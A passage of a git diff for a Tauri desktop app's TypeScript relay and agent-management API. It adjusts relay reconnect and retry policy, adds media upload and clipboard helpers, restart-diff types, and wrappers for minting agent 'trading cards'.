 // ── Subscription-survival semantics ──────────────────────────────────────────
 // These replace the removed isRetryableRelayClosed wrapper tests.
 // rate-limited must not delete the subscription; terminal must.
@@ -59,7 +73,6 @@ test("classifyRelayClosed: retryable class survives (subscription must not be de
 test("classifyRelayClosed: terminal class triggers deletion (no retry)", () => {
   for (const message of [
     "restricted: not a channel member",
-    "auth-required: not authenticated",
     "blocked: banned",
     "invalid: malformed filter",
     "pow: difficulty too low",
diff --git a/desktop/src/shared/api/relayClosedPolicy.ts b/desktop/src/shared/api/relayClosedPolicy.ts
index 8a39e8a4d5..9e747a2df1 100644
--- a/desktop/src/shared/api/relayClosedPolicy.ts
+++ b/desktop/src/shared/api/relayClosedPolicy.ts
@@ -19,9 +19,13 @@ export function classifyRelayClosed(message: string): RelayClosedClass {
   if (normalized.startsWith("rate-limited:")) {
     return "rate-limited";
   }
+  // `auth-required:` is deliberately retryable, NOT terminal: it occurs
+  // transiently when a REQ races the AUTH handshake after a reconnect. The
+  // backoff retry re-sends the REQ once the session is authenticated. A
+  // session that is genuinely unauthenticated latches `terminal` at the
+  // connection level (AUTH OK=false), so this cannot loop forever.
   if (
     normalized.startsWith("restricted:") ||
-    normalized.startsWith("auth-required:") ||
     normalized.startsWith("blocked:") ||
     normalized.startsWith("invalid:") ||
     normalized.startsWith("pow:") ||
diff --git a/desktop/src/shared/api/relayMembers.ts b/desktop/src/shared/api/relayMembers.ts
index 62cae9005a..bc2a473a33 100644
--- a/desktop/src/shared/api/relayMembers.ts
+++ b/desktop/src/shared/api/relayMembers.ts
@@ -127,8 +127,10 @@ export async function listRelayMembers(): Promise<RelayMember[]> {
   return event ? relayMembersFromEvent(event) : [];
 }
 
-async function relayRequiresMembership(): Promise<boolean> {
-  return invokeTauri<boolean>("relay_requires_membership");
+export async function relayRequiresMembership(
+  relayUrl?: string,
+): Promise<boolean> {
+  return invokeTauri<boolean>("relay_requires_membership", { relayUrl });
 }
 
 export async function getMyRelayMembershipLookup(): Promise<RelayMembershipLookup> {
diff --git a/desktop/src/shared/api/relayReconnectPolicy.ts b/desktop/src/shared/api/relayReconnectPolicy.ts
index 00d8e412bd..780ad3516b 100644
--- a/desktop/src/shared/api/relayReconnectPolicy.ts
+++ b/desktop/src/shared/api/relayReconnectPolicy.ts
@@ -70,3 +70,13 @@ export function isServiceRestartClose(message: unknown): boolean {
     data.code === 1012
   );
 }
+
+/** Whether a WS-layer message is the plugin's `Error` frame. */
+export function isWebSocketError(message: unknown): boolean {
+  return (
+    typeof message === "object" &&
+    message !== null &&
+    "type" in message &&
+    message.type === "Error"
+  );
+}
diff --git a/desktop/src/shared/api/relayReconnectReplay.test.mjs b/desktop/src/shared/api/relayReconnectReplay.test.mjs
index 54254e89de..59253a459f 100644
--- a/desktop/src/shared/api/relayReconnectReplay.test.mjs
+++ b/desktop/src/shared/api/relayReconnectReplay.test.mjs
@@ -5,6 +5,7 @@ import {
   buildReconnectReplayFilter,
   replayLiveSubscriptions,
   REPLAY_BATCH_SIZE,
+  shouldPageReconnectReplay,
 } from "./relayReconnectReplay.ts";
 import { buildChannelFilter } from "./relayChannelFilters.ts";
 
@@ -113,6 +114,31 @@ test("reconnect replay caps large steady-state limits", () => {
   });
 });
 
+test("reconnect replay preserves the live-only zero-history contract", () => {
+  const filter = {
+    kinds: [9],
+    "#h": ["channel-1"],
+    limit: 0,
+  };
+
+  assert.deepEqual(replayFilter(filter, 123), {
+    kinds: [9],
+    "#h": ["channel-1"],
+    limit: 0,
+    since: 123,
+  });
+});
+
+test("live-only subscriptions do not page reconnect history", () => {
+  const filter = {
+    kinds: [9],
+    "#h": ["channel-1"],
+    limit: 0,
+  };
+
+  assert.equal(shouldPageReconnectReplay(filter), false);
+});
+
 test("reconnect replay keeps the stricter existing since window", () => {
   const filter = {
     kinds: [9],
diff --git a/desktop/src/shared/api/relayResumeTriggerPolicy.test.mjs b/desktop/src/shared/api/relayResumeTriggerPolicy.test.mjs
new file mode 100644
index 0000000000..0430beb0bf
--- /dev/null
+++ b/desktop/src/shared/api/relayResumeTriggerPolicy.test.mjs
@@ -0,0 +1,70 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  RESUME_TRIGGER_MIN_INTERVAL_MS,
+  shouldTriggerResumeReconnect,
+} from "./relayResumeTriggerPolicy.ts";
+
+const base = Object.freeze({
+  connectionState: "reconnecting",
+  lastAttemptAt: 0,
+  now: RESUME_TRIGGER_MIN_INTERVAL_MS + 1,
+});
+
+test("reconnecting + interval elapsed triggers", () => {
+  assert.equal(shouldTriggerResumeReconnect({ ...base }), true);
+});
+
+test("stalled + interval elapsed triggers", () => {
+  assert.equal(
+    shouldTriggerResumeReconnect({ ...base, connectionState: "stalled" }),
+    true,
+  );
+});
+
+test("healthy and terminal states never trigger", () => {
+  for (const connectionState of [
+    "idle",
+    "connecting",
+    "connected",
+    "disconnected",
+  ]) {
+    assert.equal(
+      shouldTriggerResumeReconnect({ ...base, connectionState }),
+      false,
+      connectionState,
+    );
+  }
+});
+
+test("burst of triggers within the rate window fires once", () => {
+  assert.equal(
+    shouldTriggerResumeReconnect({
+      ...base,
+      lastAttemptAt: 1_000,
+      now: 1_000 + RESUME_TRIGGER_MIN_INTERVAL_MS - 1,
+    }),
+    false,
+  );
+  assert.equal(
+    shouldTriggerResumeReconnect({
+      ...base,
+      lastAttemptAt: 1_000,
+      now: 1_000 + RESUME_TRIGGER_MIN_INTERVAL_MS,
+    }),
+    true,
+  );
+});
+
+test("custom interval override is honoured", () => {
+  assert.equal(
+    shouldTriggerResumeReconnect({
+      ...base,
+      lastAttemptAt: 0,
+      now: 10,
+      minIntervalMs: 5,
+    }),
+    true,
+  );
+});
diff --git a/desktop/src/shared/api/relayResumeTriggerPolicy.ts b/desktop/src/shared/api/relayResumeTriggerPolicy.ts
new file mode 100644
index 0000000000..bb2ec80489
--- /dev/null
+++ b/desktop/src/shared/api/relayResumeTriggerPolicy.ts
@@ -0,0 +1,39 @@
+/**
+ * Policy for event-driven reconnect triggers (G1 of the CMD+R gap audit).
+ *
+ * The exponential-backoff timer is the only thing driving recovery after an
+ * outage — and WKWebView throttles JS timers in occluded/background windows,
+ * so at max backoff (30s) a scheduled attempt may not fire until the user
+ * focuses the window. These triggers short-circuit the wait the moment the
+ * environment signals recovery: network `online`, window focus, and
+ * visibility becoming visible. `preconnect()` already clears the pending
+ * backoff timer, so a trigger converts "wait up to 30s (or forever, if
+ * throttled)" into "reconnect now".
+ */
+import type { ConnectionState } from "@/shared/api/relayClientShared";
+
+/** Min ms between trigger-driven preconnect attempts. */
+export const RESUME_TRIGGER_MIN_INTERVAL_MS = 5_000;
+
+export function shouldTriggerResumeReconnect(inputs: {
+  connectionState: ConnectionState;
+  lastAttemptAt: number;
+  now: number;
+  minIntervalMs?: number;
+}): boolean {
+  const minInterval = inputs.minIntervalMs ?? RESUME_TRIGGER_MIN_INTERVAL_MS;
+
+  // Only degraded-but-recoverable states. `disconnected` is the terminal
+  // latch — explicit user re-engagement owns that path, and `idle` /
+  // `connecting` / `connected` need no help.
+  if (
+    inputs.connectionState !== "reconnecting" &&
+    inputs.connectionState !== "stalled"
+  ) {
+    return false;
+  }
+
+  // Rate-limit: focus/online events arrive in bursts (e.g. wake fires all
+  // three); one attempt per window is enough.
+  return inputs.now - inputs.lastAttemptAt >= minInterval;
+}
diff --git a/desktop/src/shared/api/restartDiff.ts b/desktop/src/shared/api/restartDiff.ts
new file mode 100644
index 0000000000..1ea46f488e
--- /dev/null
+++ b/desktop/src/shared/api/restartDiff.ts
@@ -0,0 +1,34 @@
+/**
+ * Wire types for the restart-required config diff.
+ *
+ * These are camelCase / TS-idiomatic mirrors of the Rust `RestartDiffEntry`
+ * serialized shape. The `field` is a dotted path derived from serde field
+ * names (e.g. `"model"`, `"env.FOO"`); display labels are produced by
+ * humanising the path — there is no per-field label map.
+ */
+
+/** A JSON-compatible value. Arrays are atomic leaves in the diff. */
+export type JsonValue =
+  | null
+  | boolean
+  | number
+  | string
+  | JsonValue[]
+  | { [key: string]: JsonValue };
+
+/**
+ * One change in a restart diff. The `kind` discriminant is a closed set of
+ * five values; unknown `field` paths must render gracefully in the UI.
+ */
+export type RestartChange =
+  | { kind: "value"; before: JsonValue; after: JsonValue }
+  | { kind: "text"; before_chars: number | null; after_chars: number | null }
+  | { kind: "masked"; before: string | null; after: string | null }
+  | { kind: "added" }
+  | { kind: "removed" };
+
+export type RestartDiffEntry = {
+  /** Dotted path derived from serde field names, e.g. "model", "env.FOO". */
+  field: string;
+  change: RestartChange;
+};
diff --git a/desktop/src/shared/api/tauri.test.mjs b/desktop/src/shared/api/tauri.test.mjs
index f4692a7d2a..2273b55fca 100644
--- a/desktop/src/shared/api/tauri.test.mjs
+++ b/desktop/src/shared/api/tauri.test.mjs
@@ -211,6 +211,52 @@ test("fromRawAcpRuntimeCatalogEntry env round-trips through edit payload shape",
   );
 });
 
+// ── max_parallelism → maxParallelism mapping ──────────────────────────────────
+
+test("fromRawAcpRuntimeCatalogEntry maps max_parallelism to maxParallelism when present", () => {
+  const raw = {
+    id: "openclaw",
+    label: "OpenClaw",
+    availability: "not_installed",
+    command: null,
+    source: "preset",
+    default_args: [],
+    can_auto_install: false,
+    requires_external_cli: false,
+    install_hint: "",
+    install_instructions_url: "",
+    max_parallelism: 5,
+  };
+  const entry = fromRawAcpRuntimeCatalogEntry(raw);
+  assert.equal(
+    entry.maxParallelism,
+    5,
+    "max_parallelism: 5 must map to maxParallelism: 5",
+  );
+});
+
+test("fromRawAcpRuntimeCatalogEntry omits maxParallelism when max_parallelism is absent", () => {
+  const raw = {
+    id: "goose",
+    label: "Goose",
+    availability: "available",
+    command: "goose",
+    source: "builtin",
+    default_args: [],
+    can_auto_install: false,
+    requires_external_cli: false,
+    install_hint: "",
+    install_instructions_url: "",
+    // No max_parallelism field — uncapped harness.
+  };
+  const entry = fromRawAcpRuntimeCatalogEntry(raw);
+  assert.equal(
+    entry.maxParallelism,
+    undefined,
+    "uncapped harness must have maxParallelism: undefined",
+  );
+});
+
 // ── Teardown ──────────────────────────────────────────────────────────────────
 
 test("teardown — restore Date.now", () => {
diff --git a/desktop/src/shared/api/tauri.ts b/desktop/src/shared/api/tauri.ts
index 69e2e455ec..67ba582a1d 100644
--- a/desktop/src/shared/api/tauri.ts
+++ b/desktop/src/shared/api/tauri.ts
@@ -62,8 +62,6 @@ type RawFeedItem = {
   created_at: number;
   channel_id: string | null;
   channel_name: string;
-  // Native FeedItemInfo.channel_type is Option<String>: serde emits `null`,
-  // never omits the key.
   channel_type: string | null;
   tags: string[][];
   category: "mention" | "needs_action" | "activity" | "agent_activity";
@@ -118,6 +116,8 @@ type RawRelayAgent = {
   respond_to?: RelayAgent["respondTo"];
   respond_to_allowlist?: string[];
 };
+
+import type { RestartDiffEntry as RawRestartDiffEntry } from "./restartDiff";
 export type RawManagedAgent = {
   pubkey: string;
   name: string;
@@ -143,6 +143,7 @@ export type RawManagedAgent = {
   persona_out_of_date: boolean;
   persona_orphaned: boolean;
   needs_restart: boolean;
+  restart_diff?: RawRestartDiffEntry[];
   env_vars?: Record<string, string>;
   status: ManagedAgent["status"];
   pid: number | null;
@@ -158,8 +159,7 @@ export type RawManagedAgent = {
   auto_restart_on_config_change?: boolean;
   backend: ManagedAgentBackend;
   backend_agent_id: string | null;
-  // Optional: pre-feature mock fixtures may omit these. Mapped to
-  // `"owner-only"` / `[]` in `fromRawManagedAgent`.
+  // Pre-feature fixtures may omit these; mapped to "owner-only"/[] in fromRawManagedAgent.
   respond_to?: ManagedAgent["respondTo"];
   respond_to_allowlist?: string[];
 };
@@ -188,6 +188,9 @@ export type RawAcpRuntimeCatalogEntry = {
   model_env_var?: string | null;
   provider_env_var?: string | null;
   thinking_env_var?: string | null;
+  max_tokens_env_var?: string | null;
+  context_limit_env_var?: string | null;
+  max_rounds_env_var?: string | null;
   install_hint: string;
   install_instructions_url: string;
   can_auto_install: boolean;
@@ -199,11 +202,9 @@ export type RawAcpRuntimeCatalogEntry = {
   auth_status: AuthStatus;
   login_hint?: string;
   source: "builtin" | "preset" | "custom";
-  /**
-   * Definition-level env vars for `source: custom` entries.
-   * Omitted/absent for builtin and preset — skipped in Rust serialization when empty.
-   */
+  /** Definition-level env vars for `source: custom` entries; absent for builtin/preset. */
   definition_env?: Record<string, string>;
+  max_parallelism?: number;
 };
 
 export type {
@@ -596,11 +597,11 @@ export async function uploadMedia(
     isTemp,
   });
 }
-
-export async function pickAndUploadMedia(): Promise<BlobDescriptor[]> {
-  return invokeTauri<BlobDescriptor[]>("pick_and_upload_media", {});
+export async function pickAndUploadMedia(
+  progressId?: string,
+): Promise<BlobDescriptor[]> {
+  return invokeTauri<BlobDescriptor[]>("pick_and_upload_media", { progressId });
 }
-
 export async function uploadMediaBytes(
   data: number[],
   filename?: string,
@@ -707,11 +708,11 @@ export function fromRawManagedAgent(agent: RawManagedAgent): ManagedAgent {
     avatarUrl: agent.avatar_url ?? null,
     model: agent.model,
     modelSource: agent.model_source ?? null,
-    // Fallbacks for pre-feature mocks/fixtures. Real records always carry them.
     provider: agent.provider ?? null,
     personaOutOfDate: agent.persona_out_of_date ?? false,
     personaOrphaned: agent.persona_orphaned ?? false,
     needsRestart: agent.needs_restart ?? false,
+    restartDiff: agent.restart_diff ?? [],
     envVars: agent.env_vars ?? {},
     status: agent.status,
     pid: agent.pid,
@@ -727,8 +728,6 @@ export function fromRawManagedAgent(agent: RawManagedAgent): ManagedAgent {
     autoRestartOnConfigChange: agent.auto_restart_on_config_change ?? true,
     backend: agent.backend,
     backendAgentId: agent.backend_agent_id,
-    // Fallbacks for pre-feature mocks/fixtures that don't carry these fields.
-    // Real agent records always include them (defaulted server-side).
     respondTo: agent.respond_to ?? "owner-only",
     respondToAllowlist: agent.respond_to_allowlist ?? [],
   };
@@ -749,6 +748,9 @@ export function fromRawAcpRuntimeCatalogEntry(
     modelEnvVar: entry.model_env_var ?? null,
     providerEnvVar: entry.provider_env_var ?? null,
     thinkingEnvVar: entry.thinking_env_var ?? null,
+    maxTokensEnvVar: entry.max_tokens_env_var ?? null,
+    contextLimitEnvVar: entry.context_limit_env_var ?? null,
+    maxRoundsEnvVar: entry.max_rounds_env_var ?? null,
     installHint: entry.install_hint,
     installInstructionsUrl: entry.install_instructions_url,
     canAutoInstall: entry.can_auto_install,
@@ -758,9 +760,10 @@ export function fromRawAcpRuntimeCatalogEntry(
     authStatus: entry.auth_status,
     loginHint: entry.login_hint ?? null,
     source: entry.source,
-    // Map definition_env (snake_case from Rust) to definitionEnv (camelCase).
-    // Absent when empty (Rust serialization skips empty BTreeMap) — default to {}.
     definitionEnv: entry.definition_env ?? {},
+    ...(entry.max_parallelism !== undefined && {
+      maxParallelism: entry.max_parallelism,
+    }),
   };
 }
 
@@ -1024,9 +1027,8 @@ export type RuntimeFileConfigSubset = {
 };
 
 /**
- * Get the file-layer config for a runtime so dialogs can show
- * "Set in goose config" instead of surfacing a false required-field marker.
- * Returns `null` when the runtime has no config file or it cannot be parsed.
+ * Get the file-layer config for a runtime so dialogs can show "Set in goose config" instead of
+ * surfacing a false required-field marker. Returns `null` when unavailable or unparseable.
  */
 export async function getRuntimeFileConfig(
   runtimeId: string,
@@ -1040,13 +1042,9 @@ export async function getRuntimeFileConfig(
 }
 
 /**
- * Return the key names of all non-empty baked build env vars.
- *
- * Internal (Block) builds bake provider credentials into the binary at compile
- * time. This returns the *key names only* — never the values — so dialogs can
- * treat them as satisfied without exposing secrets to the frontend.
- *
- * OSS builds return an empty array (no baked env).
+ * Return the key names of all non-empty baked build env vars. Internal (Block) builds bake
+ * provider credentials into the binary at compile time; this returns *key names only* (never
+ * values) so dialogs treat them as satisfied without exposing secrets. OSS builds return [].
  */
 export async function getBakedBuildEnvKeys(): Promise<string[]> {
   return invokeTauri<string[]>("get_baked_build_env_keys");
diff --git a/desktop/src/shared/api/tauriAgentAccess.ts b/desktop/src/shared/api/tauriAgentAccess.ts
new file mode 100644
index 0000000000..2fcb7c1622
--- /dev/null
+++ b/desktop/src/shared/api/tauriAgentAccess.ts
@@ -0,0 +1,4 @@
+import { invokeTauri } from "@/shared/api/tauri";
+
+export const getAgentAccessOwnerOnly = () =>
+  invokeTauri<boolean>("agent_access_owner_only");
diff --git a/desktop/src/shared/api/tauriArchive.ts b/desktop/src/shared/api/tauriArchive.ts
index 0e4be6c9ac..40f4a2e3ae 100644
--- a/desktop/src/shared/api/tauriArchive.ts
+++ b/desktop/src/shared/api/tauriArchive.ts
@@ -88,23 +88,22 @@ function decodeRawSubscription(raw: RawSaveSubscription): SaveSubscription {
 // ── API wrappers ─────────────────────────────────────────────────────────────
 
 /**
- * Returns `true` when observer-feed archive policy is enforced.
+ * Returns `true` when observer-feed archive is enabled by default.
  *
- * Internal builds set `BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT` at build time;
- * OSS builds never set it, so this returns `false`.  The frontend calls this
- * every startup to decide whether to reconcile the `owner_p` subscription.
+ * Always returns `true` — archive defaults to enabled for all builds.
+ * The frontend calls this every startup to decide whether to reconcile
+ * the `owner_p` subscription for kind 24200 (observer frames).
  */
 export async function observerArchiveDefaultEnabled(): Promise<boolean> {
   return invokeTauri<boolean>("observer_archive_default_enabled");
 }
 
 /**
- * Returns `true` when the build has agent-turn-metric archive default-on.
+ * Returns `true` when agent-turn-metric archive is enabled by default.
  *
- * Internal builds set `BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT` at build time;
- * OSS builds never set it, so this returns `false`.  The frontend calls this
- * once at startup to decide whether to auto-seed an `owner_p` [44200]
- * subscription.
+ * Always returns `true` — archive defaults to enabled for all builds.
+ * The frontend calls this once at startup to decide whether to auto-seed
+ * an `owner_p` [44200] subscription for new identities.
  */
 export async function agentMetricArchiveDefaultEnabled(): Promise<boolean> {
   return invokeTauri<boolean>("agent_metric_archive_default_enabled");
diff --git a/desktop/src/shared/api/tauriMedia.ts b/desktop/src/shared/api/tauriMedia.ts
index 1dab9b7728..daedebde5c 100644
--- a/desktop/src/shared/api/tauriMedia.ts
+++ b/desktop/src/shared/api/tauriMedia.ts
@@ -1,5 +1,44 @@
+import { invoke as invokeTauriRaw, isTauri } from "@tauri-apps/api/core";
 import { type BlobDescriptor, invokeTauri } from "./tauri";
 
+function encodeRawIpcHeader(value: string): string {
+  const bytes = new TextEncoder().encode(value);
+  let binary = "";
+  for (const byte of bytes) binary += String.fromCharCode(byte);
+  return window
+    .btoa(binary)
+    .replaceAll("+", "-")
+    .replaceAll("/", "_")
+    .replace(/=+$/, "");
+}
+
+/** Transfer a browser File to Rust as a raw IPC body, avoiding JSON expansion. */
+export async function uploadMediaFile(
+  file: File,
+  progressId?: string,
+  signal?: AbortSignal,
+): Promise<BlobDescriptor> {
+  const headers: Record<string, string> = {
+    "x-buzz-filename": encodeRawIpcHeader(file.name),
+  };
+  if (progressId) {
+    headers["x-buzz-progress-id"] = encodeRawIpcHeader(progressId);
+  }
+
+  if (signal?.aborted) throw new Error("upload cancelled");
+  const bytes = new Uint8Array(await file.arrayBuffer());
+  if (signal?.aborted) throw new Error("upload cancelled");
+
+  return invokeTauriRaw<BlobDescriptor>("upload_media_bytes_raw", bytes, {
+    headers,
+  });
+}
+
+/** Stop the native HTTP request associated with a background media upload. */
+export async function cancelMediaUpload(progressId: string): Promise<void> {
+  await invokeTauri("cancel_media_upload", { progressId });
+}
+
 /**
  * Open a native single-file picker constrained to images and upload the
  * chosen file. Non-image files are rejected in Rust (via MIME sniffing)
@@ -27,6 +66,23 @@ export async function fetchMediaBytes(
   return new Uint8Array(bytes);
 }
 
+/** Read plain text without depending on embedded-webview clipboard grants. */
+export async function readTextFromSystemClipboard(): Promise<string> {
+  // E2E installs Tauri's mocked IPC surface in a browser page, where the SDK's
+  // `isTauri()` marker remains false. Exercise the packaged-app command path in
+  // that build so tests detect accidental regressions to permission-gated DOM
+  // clipboard reads.
+  if (isTauri() || import.meta.env.MODE === "e2e") {
+    return invokeTauri<string>("read_clipboard_text");
+  }
+
+  const clipboard = navigator.clipboard;
+  if (!clipboard?.readText) {
+    throw new Error("Clipboard text reading is unavailable");
+  }
+  return clipboard.readText();
+}
+
 /** Write text through the native clipboard after an asynchronous workflow. */
 export async function copyTextToSystemClipboard(
   text: string,
diff --git a/desktop/src/shared/api/tauriPersonas.ts b/desktop/src/shared/api/tauriPersonas.ts
index 66e07f5e88..3cd9734ae2 100644
--- a/desktop/src/shared/api/tauriPersonas.ts
+++ b/desktop/src/shared/api/tauriPersonas.ts
@@ -240,6 +240,129 @@ export async function encodeAgentSnapshotForSend(
   });
 }
 
+// ── Agent trading cards ───────────────────────────────────────────────────────
+
+/** Result of `mint_agent_card`. */
+export type MintedAgentCard = {
+  /** Final `.agent.png` bytes (chunk-injected, verified), base64-encoded. */
+  cardPngBase64: string;
+  /** Suggested filename, e.g. `eva.agent.png`. */
+  fileName: string;
+  /** Designer commentary emitted alongside the image (may be empty). */
+  designerNotes: string;
+  /** True when the embedded manifest is encrypted to the (owner, agent) pair. */
+  locked: boolean;
+  /** How much memory is embedded in the card's snapshot. */
+  memoryLevel: SnapshotMemoryLevel;
+};
+
+/** Error prefix Rust returns when no OpenAI key is configured. */
+export const NO_OPENAI_KEY_PREFIX = "NO_OPENAI_KEY:";
+
+/**
+ * Which env layer resolves the OpenAI key for a card mint of this agent.
+ *
+ * - `"none"` — no key configured anywhere; show the first-time setup panel.
+ * - `"global"` — key comes from global Agent Defaults env; writable from the
+ *   dialog via `cardMintSaveOpenaiKey`.
+ * - `"persona"` — key is set on the linked persona; cannot be updated from
+ *   the mint dialog (would be shadowed by the higher-priority layer).
+ * - `"agent"` — key is set directly on the agent record; same restriction.
+ * - `"process"` — key comes from the process environment (dev fallback);
+ *   same restriction.
+ */
+export type CardMintKeyLayer =
+  | "none"
+  | "global"
+  | "persona"
+  | "agent"
+  | "process";
+
+/**
+ * Report which env layer resolves the OpenAI key for a card mint of this agent
+ * (same layering as the mint itself). Returns a layer discriminant — never the
+ * key value itself. Use to decide whether to show a writable key input (none /
+ * global) or a read-only redirect (persona / agent / process).
+ */
+export async function cardMintKeyStatus(id: string): Promise<CardMintKeyLayer> {
+  return invokeTauri<CardMintKeyLayer>("card_mint_key_status", { id });
+}
+
+/**
+ * Save an OPENAI_API_KEY into the global Agent Defaults env for card minting.
+ *
+ * Narrow seam: validated read-modify-write of the single key against the
+ * latest on-disk config. Unlike the general set_global_agent_config, this
+ * NEVER restarts running agents — the mint re-reads config per call, and a
+ * card setup must not disrupt unrelated agents.
+ */
+export async function cardMintSaveOpenaiKey(key: string): Promise<void> {
+  return invokeTauri<void>("card_mint_save_openai_key", { key });
+}
+
+/**
+ * Mint a trading card for an agent. One long API call (~2–3 minutes).
+ * Reroll = call again; the backend holds no session state.
+ *
+ * When `lock` is true, the embedded manifest is NIP-44-encrypted to the
+ * (owner, agent) pair: only those two keys can import the card. Requires a
+ * linked agent instance.
+ *
+ * `memoryLevel` (default `"none"`) embeds the owner's decrypted memory in
+ * the card's snapshot — same levels as snapshot export. Levels other than
+ * `"none"` require a linked agent instance; Rust derives the memory source
+ * from the resolved instance itself.
+ */
+export async function mintAgentCard(
+  id: string,
+  styleNotes?: string,
+  lock?: boolean,
+  memoryLevel?: SnapshotMemoryLevel,
+): Promise<MintedAgentCard> {
+  return invokeTauri<MintedAgentCard>("mint_agent_card", {
+    id,
+    styleNotes: styleNotes || null,
+    lock: lock ?? null,
+    memoryLevel: memoryLevel ?? null,
+  });
+}
+
+/** Save minted card bytes to disk via the OS save dialog. */
+export async function saveAgentCard(
+  cardPngBase64: string,
+  fileName: string,
+): Promise<boolean> {
+  return invokeTauri<boolean>("save_agent_card", { cardPngBase64, fileName });
+}
+
+/** One archived (previously minted) card, as listed by `list_agent_cards`. */
+export type ArchivedAgentCard = {
+  /** On-disk archive key — pass to `loadAgentCard`. */
+  storedFileName: string;
+  /** Suggested save-as name, e.g. `eva.agent.png`. */
+  fileName: string;
+  agentId: string;
+  agentName: string;
+  designerNotes: string;
+  locked: boolean;
+  /** Memory embedded in the card's snapshot ("none" for pre-field archives). */
+  memoryLevel: SnapshotMemoryLevel;
+  /** ISO-8601 mint timestamp. */
+  mintedAt: string;
+  /** Small JPEG grid preview, base64 (absent if the thumb write failed). */
+  thumbJpegBase64: string | null;
+};
+
+/** List all archived cards, newest first. */
+export async function listAgentCards(): Promise<ArchivedAgentCard[]> {
+  return invokeTauri<ArchivedAgentCard[]>("list_agent_cards");
+}
+
+/** Load one archived card's full PNG bytes (base64) by its archive key. */
+export async function loadAgentCard(storedFileName: string): Promise<string> {
+  return invokeTauri<string>("load_agent_card", { storedFileName });
+}
+
 // ── Snapshot import ───────────────────────────────────────────────────────────
 
 /** Preview returned by `preview_agent_snapshot_import` before any write. */
@@ -258,6 +381,16 @@ export type AgentSnapshotImportPreview = {
   /** True when the snapshot's respond_to_allowlist is non-empty. */
   hasSourceAllowlist: boolean;
   sourceAllowlistCount: number;
+  /** Full source pubkeys shown before import, not only their count. */
+  sourceAllowlist: string[];
+  /** Validated, pretty-printed manifest for full payload disclosure. */
+  manifestJson: string;
+  /**
+   * True when the snapshot came from a locked (encrypted) card this machine
+   * unlocked. Cards that cannot be unlocked fail with a refusal error and
+   * never reach a preview.
+   */
+  locked: boolean;
 };
 
 /** Confirmation sent to `confirm_agent_snapshot_import`. */
diff --git a/desktop/src/shared/api/types.ts b/desktop/src/shared/api/types.ts
index 3f07e9ad9a..24ef625783 100644
--- a/desktop/src/shared/api/types.ts
+++ b/desktop/src/shared/api/types.ts
@@ -304,6 +304,8 @@ export type ManagedAgentBackend =
   | { type: "local" }
   | { type: "provider"; id: string; config: Record<string, unknown> };
 
+import type { RestartDiffEntry } from "./restartDiff";
+export type { JsonValue, RestartChange, RestartDiffEntry } from "./restartDiff";
 export type ManagedAgent = {
   pubkey: string;
   name: string;
@@ -357,6 +359,8 @@ export type ManagedAgent = {
    * Always `false` for stopped agents.
    */
   needsRestart: boolean;
+  /** Non-empty iff `needsRestart` is true. Empty when Rust omits the field. */
+  restartDiff: RestartDiffEntry[];
   /** Per-agent env vars. Layered on top of persona envVars. */
   envVars: Record<string, string>;
   status: "running" | "stopped" | "deployed" | "not_deployed";
@@ -382,11 +386,7 @@ export type ManagedAgent = {
   respondToAllowlist: string[];
 };
 
-/**
- * Inbound author gate mode. Mirrors `buzz-acp`'s `--respond-to` CLI flag.
- * `"nobody"` is supported by the harness but not surfaced through this API —
- * it's a heartbeat-only mode without a meaningful GUI use case.
- */
+/** Inbound author gate mode. Mirrors buzz-acp's --respond-to CLI flag. */
 export type RespondToMode = "owner-only" | "allowlist" | "anyone";
 
 export type BackendProviderCandidate = {
@@ -517,6 +517,9 @@ export type AcpRuntimeCatalogEntry = {
   providerEnvVar: string | null;
   /** Environment variable used to apply thinking effort, when supported. */
   thinkingEnvVar: string | null;
+  maxTokensEnvVar: string | null;
+  contextLimitEnvVar: string | null;
+  maxRoundsEnvVar: string | null;
   installHint: string;
   installInstructionsUrl: string;
   canAutoInstall: boolean;
@@ -529,21 +532,16 @@ export type AcpRuntimeCatalogEntry = {
   authStatus: AuthStatus;
   /** Hint for completing authentication; null when not applicable or already logged in. */
   loginHint: string | null;
-  /**
-   * Whether this entry is compiled into the app ("builtin"), a bundled preset
-   * ("preset" — PATH-probed, not editable/deletable), or loaded from a user
-   * JSON file in `custom_harnesses/` ("custom"). Controls editability in the
-   * UI — only "custom" entries can be edited or deleted.
-   */
+  /** "builtin" (compiled in), "preset" (PATH-probed, not editable), or "custom" (user JSON). Controls UI editability. */
   source: "builtin" | "preset" | "custom";
   /**
-   * Definition-level environment variables for `source: custom` entries.
-   *
-   * Populated by the backend from `HarnessDefinition.env` so the edit form can
-   * read them back without losing existing env vars on save. Always absent/empty
-   * for `builtin` and `preset` entries.
+   * Definition-level env vars for `source: custom` entries. Populated from
+   * `HarnessDefinition.env` so saves don't erase existing vars. Absent for
+   * builtin/preset entries.
    */
   definitionEnv?: Record<string, string>;
+  /** Spawn-time parallelism cap; absent for uncapped harnesses. */
+  maxParallelism?: number;
 };
 
 /** An AcpRuntimeCatalogEntry that is confirmed available — command and binaryPath are non-null. */
@@ -602,7 +600,6 @@ export type AgentModelInfo = {
 };
 
 // ── Config bridge types ──────────────────────────────────────────────────────
-
 export type ConfigOrigin =
   | "buzzExplicit"
   | "acpNativeRead"
@@ -612,7 +609,8 @@ export type ConfigOrigin =
   | "personaDefault"
   | "globalDefault"
   | "runtimeOverride"
-  | "harnessConstraint";
+  | "harnessConstraint"
+  | "harnessDefault";
 
 export type ConfigWriteMechanism =
   | { type: "respawnWithEnvVar"; envKey: string }
diff --git a/desktop/src/shared/api/useRelayAutoHeal.ts b/desktop/src/shared/api/useRelayAutoHeal.ts
index 11909228b8..429dcc502b 100644
--- a/desktop/src/shared/api/useRelayAutoHeal.ts
+++ b/desktop/src/shared/api/useRelayAutoHeal.ts
@@ -2,12 +2,12 @@ import * as React from "react";
 
 import { useQueryClient } from "@tanstack/react-query";
 
-import type { ConnectionState } from "@/shared/api/relayClientShared";
-import { isRelayDependentQuery } from "@/shared/api/relayQueryInvalidation";
+import { relayClient } from "@/shared/api/relayClient";
 import {
   isRelayConnectionDegraded,
-  useRelayConnection,
-} from "@/shared/api/useRelayConnection";
+  type ConnectionState,
+} from "@/shared/api/relayClientShared";
+import { isRelayDependentQuery } from "@/shared/api/relayQueryInvalidation";
 import {
   isRateLimited,
   waitForRateLimit,
@@ -100,8 +100,6 @@ export class RelayAutoHealScheduler {
  */
 export function useRelayAutoHeal(): void {
   const queryClient = useQueryClient();
-  const connectionState = useRelayConnection();
